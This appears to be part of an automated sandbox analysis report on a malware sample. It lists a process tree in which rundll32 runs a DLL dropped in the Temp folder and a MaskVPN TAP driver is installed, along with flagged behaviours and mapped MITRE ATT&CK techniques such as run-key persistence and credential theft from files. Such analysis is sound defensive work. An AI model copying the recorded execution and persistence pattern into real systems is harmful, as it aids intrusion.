C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5096

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of FindShellTrayWindow
PID:7960
- C:\Windows\SysWOW64\rundll32.exe
  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
  2⤵
  PID:6652

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:7860

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:4744

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6476

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6984

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6716

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:5540
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{69bc47fd-06d6-1a4a-8e11-316018ab7024}\oemvista.inf" "9" "4d14a44ff" "000000000000018C" "WinSta0\Default" "0000000000000190" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:592
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000018C"
  2⤵
  PID:5520

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:4408

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:4872

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:4104

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery